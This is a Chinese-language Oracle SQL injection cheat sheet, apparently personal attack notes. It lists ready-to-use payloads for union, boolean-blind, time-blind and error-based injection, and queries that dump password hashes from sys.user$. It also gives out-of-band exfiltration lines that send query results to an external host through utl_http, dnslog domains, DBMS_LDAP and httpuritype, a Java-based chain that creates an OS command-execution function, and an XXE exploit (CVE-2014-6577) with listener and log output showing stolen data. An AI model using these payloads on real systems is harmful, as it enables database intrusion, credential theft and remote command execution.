Oracle inject总结
获取常见信息语句
获取数据库版本:
SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
SELECT version FROM v$instance;
获取操作系统版本:
SELECT banner FROM v$version where banner like 'TNS%';
获取当前数据库用户:
SELECT user FROM dual;
select SYS_CONTEXT('USERENV','CURRENT_USER') from dual
获取当前用户权限:
SELECT * FROM session_privs;
获取所有数据库用户密码:
select name, password, spare4 from sys.user$
获取DB文件路径:
SELECT name FROM V$DATAFILE;
列出DBA账户:
SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = ‘YES’
服务器监听IP
select utl_inaddr.get_host_address from dual
获取当前的操作系统
SELECT dbms_utility.port_string FROM dual;
select member from v$logfile where rownum=1 //路径也是可以判断的
获取服务器SID
select instance_name from v$instance
列出数据库:
SELECT DISTINCT owner FROM all_tables; — 列出数据库 (一个用户一个)
Union injection
//基本都是大写哈 判断字段
order by
union select null,'null' 根据'' 判断哪里是字符串
爆表
union select 1,(select table_name from user_tables where rownum=1) from dual
union select 1,(select table_name from user_tables where rownum=1 and table_name not in ('第一个表')) from dual
爆字段
union select 1,(select column_name from user_tab_columns where rownum=1 and table_name='表名(大写的)') from dual
union select 1,(select column_name from user_tab_columns where rownum=1 and table_name='表名' and column_name not in ('第一个字段')) from dual
爆数据
union select 1,字段1||字段2...||字段n from 表名 where rownum=1 --
连接多个字段用到的连接符号是||,在oracle数据库中,concat函数只能连接两个字符串
通过字段名查找对应的表:
SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE '%USERNAME%'
Bool Blind injection
substr_ascil函数
and (select length(table_name) from user_tables where rownum=1)>1--
(select ascii(substr(table_name,1,1)) from user_tables where rownum=1)>100
(select length(column_name) from user_tab_columns where table_name=xxx and rownum=1)
(select ascii(substr(column_name,1,1)) from user_tab_columns where rownum=1 and table_name=xxx)>10
decode 函数
decode(条件,值 1,翻译值 1,值 2,翻译值 2,...值 n,翻译值 n,缺省值)
【功能】根据条件返回相应值
测试当前用户
select decode(user,'SYSTEM',1,0) from dual;
如果是system用户则返回1,不是则返回0.
SQL> select decode(user,'SYSTEM',1,0) from dual;
DECODE(USER,'SYSTEM',1,0)
-------------------------
1
注入时decode的应用
判断是否是SYSTEM用户
' and 1=(select decode(user,'SYSTEM',1,0) from dual) --
也可以decode+substr组合
' and 1=(select decode(substr(user,1,1),'S',1,0) from dual) --
case when then
其实和上面的decode差不多
SQL> select case when user='SCOTT' then 1 else 0 end from dual;
CASEWHENUSER='SCOTT'THEN1ELSE0END
---------------------------------
1
实际应用
' and 1=(select case when user='SCOTT' then 1 else 0 end from dual)--
instr函数
instr函数的使用,从一个字符串中查找指定子串的位置
and 1=(instr((select user from dual),'SYS')) --
当然也可以配合其他的来使用
Time blind injection
oracle的时间盲注通常使用DBMS_PIPE.RECEIVE_MESSAGE(),而另外一种便是decode()与高耗时SQL操作的组合,当然也可以是case,if 等方式与高耗时操作的组合,这里的高耗时操作指的是,例如:(select count(*) from all_objects),对数据库中大量数据进行查询或其他处理的操作,这样的操作会耗费较多的时间,然后通过这个方式来获取数据。这种方式也适用于其他数据库。
DBMS_PIPE.RECEIVE_MESSAGE()
DBMS_LOCK.SLEEP()函数可以让一个过程休眠很多秒,但使用该函数存在许多限制。
首先,不能直接将该函数注入子查询中,因为Oracle不支持堆叠查询(stacked query)。其次,只有数据库管理员才能使用DBMS_LOCK包。
这里讲解一下Orcle包的概念
Oracle包可以分为两部分,一部分是包的规范,相对于Java中的接口,另一部分是包体,相当于Java里面接口的实现类,实现具体的操作,所以Oracle提供了我们雨多的包,为开发者提供了很多便利。
在Oracle PL/SQL中有一种更好的办法,可以使用下面的指令以内联方式注入延迟:
dbms_pipe.receive_message('RDS', 10)
DBMS_PIPE.RECEIVE_MESSAGE函数将为从RDS管道返回的数据等待10秒。默认情况下,允许以public权限执行该包。DBMS_LOCK.SLEEP()与之相反,它是一个可以用在SQL语句中的函数。
应用:
实际应用[结合SQLMAP语句分析]
AND 7238=(CASE WHEN (ASCII(SUBSTRC((SELECT NVL(CAST(USER AS VARCHAR(4000)),CHR(32)) FROM DUAL),1,1))>1) THEN DBMS_PIPE.RECEIVE_MESSAGE(CHR(71)||CHR(106)||CHR(72)||CHR(73),10) ELSE 7238 END)
【DBMS_PIPE.RECEIVE_MESSAGE的理解】
来自官网的DBMS_PIPE.RECEIVE_MESSAGE语法:
DBMS_PIPE.RECEIVE_MESSAGE (
pipename IN VARCHAR2,
timeout IN INTEGER DEFAULT maxwait)
RETURN INTEGER;
可以暂时理解成DBMS_PIPE.RECEIVE_MESSAGE('任意值',延迟时间)
Decode嵌套时间语句
and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS',10),0) from dual) --
DBMS_PIPE.RECEIVE_MESSAGE('a', REPLACE((SELECT substr(user, 1, 1) FROM dual), 'S', 10))=1;
(select count(*) from all_objects) 会花费更多是时间去查询所有数据库的条目,所以以这种方式进行时间判断依据,这是一个骚气的方式。(类比OWASP测试指南中老hu机的案例)
'and 1=(select decode(substr(user,1,1),'S',(select count(*) from all_objects),0) from dual)
Error injection
使用报错注入需要使用类似 1=[报错语句],1>[报错语句],使用比较运算符,这样的方式进行报错注入
ctxsys.drithsx.sn()函数:
select ctxsys.drithsx.sn(1, (select user from dual)) from dual;
ctxsys.ctx_report.token_type()函数:
select ctxsys.ctx_report.token_type((select user from dual), '1') from dual;
xmltype()函数:
and (select xmltype('<:'%7c%7c(select user from dual)%7c%7c'>') from dual) is not null
dbms_xdb_version.checkin()函数:
select dbms_xdb_version.checkin((select user from dual)) from dual;
dbms_xdb_version.makeversioned()函数:
and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null
dbms_xdb_version.uncheckout()函数:
and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null
dbms_utility.sqlid_to_sqlhash()函数:
and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null
ordsys.ord_dicom.getmappingxpath()函数:
and (select ordsys.ord_dicom.getmappingxpath((select user from dual), 1, 1) from dual) is not null
utl_inaddr.get_host_name()函数:
and (select utl_inaddr.get_host_name((select user from dual)) from dual) is not null
utl_inaddr.get_host_address()函数:
and (select utl_inaddr.get_host_address('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null
带外通道(OOB:Out Of Band Channels)
使用一些除常规通道以外的替代的信道来请求服务器资源,一般使用 Oracle 发送HTTP或者DNS请求,将查询结果带到请求中,然后监测外网服务器的HTTP和DNS日志,从日志中获取 sql 语句查询的结果,通过这种方式将繁琐的盲注转换成可以直接简便的获取查询结果的方式,尤其是基于时间的盲注,能极大地加快速度
utl_http.request()函数
检测是否支持utl_http.request
and exists (select count(*) from all_objects where object_name='UTL_HTTP') --
反弹注入信息
and utl_http.request('http://域名或者ip:端口/'||(注入的语句))=1 --注意|| 注意转码%7C%7C
utl_inaddr.get_host_address()函数
and (select utl_inaddr.get_host_address((select user fromdual)||'xxx.dnslog.cn') from dual)is not null --
SYS.DBMS_LDAP.INIT()函数
and (select SYS.DBMS_LDAP.INIT((select user from dual)||'xxx.dnslog.cn') from dual)is not null --
httpuritype()函数
and (select httpuritype((select user from dual)%7c%7c'xxx.dnslog.cn').getclob() from dual)is not null --
执行系统命令
自己注意观察回显点就行 以及执行的命令 需要稍微改一下 比如第一个union及其字段。还有必须要有权限一般是dba才可以。
select null,null from dual union select 1,dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual;
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''begin dbms_java.grant_permission( ''''SYSTEM'''', ''''SYS:java.io.FilePermission'''', ''''<<ALL FILES>>'''',''''EXECUTE'''');end;''commit;end;') from dual;
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function osshell(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual;
select osshell('whoami') from dual;
Bind&XXE
存在ORACLE盲注的情况下远程获取数据的方式。其实和UTL_HTTP远程获取的方法差不多,只不过原理不同。CVE-2014-6577。影响范围:11.2.0.3, 11.2.0.4, 12.1.0.1, 12.1.0.2【笔者测试10.x成功】
不排除那些已不受oracle支持的版本也存在此漏洞。攻击者可以通过利用构造SQL语句来触发XML解释器发送一个HTTP或者FTP请求,从而带来以下可能的威胁。
在远程主机上用nc监听21端口,当有连接后,输入220
#!html
select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "ftp://'||user||':bar@11.11.11.11/test"> %remote; %param1;]>'),'/l') from dual;
and
#!bash
[root@localhost httpd]# busybox nc -vvlp 21
listening on [::]:21 ...
connect to [::ffff:11.11.11.11]:21 from [::ffff:22.22.22.22]:37040 ([::ffff: 22.22.22.22]:37040)
220
USER XXXX _WEB_ XXXX
220
PASS bar
^Csent 8, rcvd 33
punt!
在断开连接的同时,ORACLE会报以下错误
将把给出的POC变形,ftp请求换成http,
ORA-31000: 资源 'ftp://XXXX_WEB_XXXX:bar@11.11.11.11/test' 不是 XDB 方案文档
ORA-06512: 在 "SYS.XMLTYPE", line 310
ORA-06512: 在 line 1
…………
and
#!html
select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://11.11.11.11/'||user||'"> %remote; %param1;]>'),'/l') from dual
这样不用启动nc或者ftp服务端即可在http日志中收到请求:
#!bash
22.22.22.22 - - [27/Apr/2015:07:56:53 -0400] "GET /XXXX_WEB_XXXX HTTP/1.0" 404 294 "-" "-"
某个搜索功能存在SQL注入漏洞
可以判断存在盲注,而且数据库基本能确定为oracle
XXX%'and 233=233 '%'=' 页面正常
XXX%'and 233=2333 '%'=' 页面无结果
XXX%'and 1=(select 1 from dual) '%'=' 页面正常
构造如下语句 服务器收到如下请求:
#!html
XXX%'and 1=(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://11.11.11.11/'||(SELECT TABLE_NAME FROM (SELECT ROWNUM AS R,TABLE_NAME FROM USER_TABLES) WHERE R=1)||'"> %remote; %param1;]>'),'/l') from dual) and '%'='
and
22.22.22.22 - - [27/Apr/2015:22:00:46 -0400] "GET /EC_COMP_BINARY_INFO HTTP/1.0" 404 297 "-" "-"
还可以这么构造,一次返回数条结果
服务器收到如下请求:
对于结果中带空白符或者其他特殊符号的,在此处Oracle并不会自动URL编码,所以为了顺利的获得数据可以用oracle的自带函数utl_raw.cast_to_raw()将结果转换为HEX。
22.22.22.22 - - [27/Apr/2015:23:12:01 -0400] "GET /EC_COMP_BINARY_INFO////EC_COMP_BINARY_MAPPING HTTP/1.0" 404 323 "-" "-"
and
#!sql
XXX%'and 1=(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://11.11.11.11/'||(SELECT utl_raw.cast_to_raw(BANNER) FROM (SELECT ROWNUM AS R,BANNER FROM v$version) WHERE R=1)||'////'||(SELECT utl_raw.cast_to_raw(BANNER) FROM (SELECT ROWNUM AS R,BANNER FROM v$version) WHERE R=2)||'"> %remote; %param1;]>'),'/l') from dual) and '%'='
收到的请求:经过HEX解码可得
/Oracle Database 11g Enterprise Edition Release 11.2.0.2.0 - 64bit Production////PL/SQL Release 11.2.0.2.0 - Production
22.22.22.22 - - [28/Apr/2015:03:50:16 -0400] "GET /4F7261636C652044617461626173652031316720456E74657270726973652045646974696F6E2052656C656173652031312E322E302E322E30202D2036346269742050726F64756374696F6E////504C2F53514C2052656C656173652031312E322E302E322E30202D2050726F64756374696F6E HTTP/1.0" 404 510 "-" "-"